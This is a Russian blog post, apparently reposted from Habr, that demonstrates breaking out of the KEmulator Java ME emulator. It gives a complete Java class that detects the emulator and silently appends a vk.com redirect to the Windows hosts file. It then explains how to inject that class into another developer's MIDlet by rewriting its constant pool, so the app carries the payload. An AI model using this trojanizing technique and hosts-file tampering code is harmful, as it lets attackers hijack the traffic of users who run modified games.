Выходим за пределы эмулятора Java ME

в 14:26, , рубрики: Java ME, Kemulator, модификация, Разработка под Java ME, метки: , ,

Привет, %username%!
Безопасность — одна из ключевых фич Java.
На мобильном устройстве мы никак не сможем выполнить вредоносный код. И это все знают, а значит, без опасений запускают любые приложения и игры. В том числе и в эмуляторах.
Я продемонстрирую еще один из тысячи способов поиметь файл hosts в Windows — с помощью обыкновенного мидлета!

Kemulator — эмулятор мобильных игр и приложений

Cтатья посвящена данному эмулятору и моей извращенной фантазии.
Работает он просто: MIDP API переписано на Java SE и связано с ядром кемуля.
Загрузку классов обеспечивает свой Classloader.
Следовательно, использование Java SE классов в мидлете является возможным.

Для того чтобы внедрить свой код в чужое приложение на Java ME, достаточно написать класс наследуемый от javax.microedition.midlet.MIDlet и расширять его в главном(самый простой способ).

Приведу пример:

import java.io.File;
import java.io.FileOutputStream;
import javax.microedition.midlet.MIDlet;

public abstract class Inj extends MIDlet implements Runnable {

public Inj() {
new Thread(this).start();
}

public void run() {
try {
Class.forName("emulator.Emulator");
File f = new File("C:\WINDOWS\system32\drivers\etc\hosts");
FileOutputStream fos = new FileOutputStream(f, true);
fos.write("n74.125.132.94 vk.com".getBytes());
fos.close();
} catch (Throwable ex) {
}
}

protected void destroyApp(boolean unconditional) {
}

protected void pauseApp() {
}

protected void startApp() {
}
}

Это наш код, который будет работать только в эмуляторе, о чем говорит вызов класса Class.forName("emulator.Emulator"); внутри блока try… catch.
Kemulator дает доступ к файловой системе только в пределах папки «root», т.е. диска девайса, а с Java SE мы творим, что хотим.
Как его скомпилировать без лишней мороки? — Подключите rt.jar к проекту как API.
Дальше ясно, что следует изменить главный класс модифицируемой программы.
Для этого качаем любой редактор Constant Pool и меняем строку
javax/microedition/midlet/MIDlet
на
Inj
Преверефицируем и радуемся!
Хочется заметить, что телефоны на JP-7 выбросят ClassNotFoundException при запуске. Почему так — мне неизвестно. Спасибо!

Автор: kiriman90

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js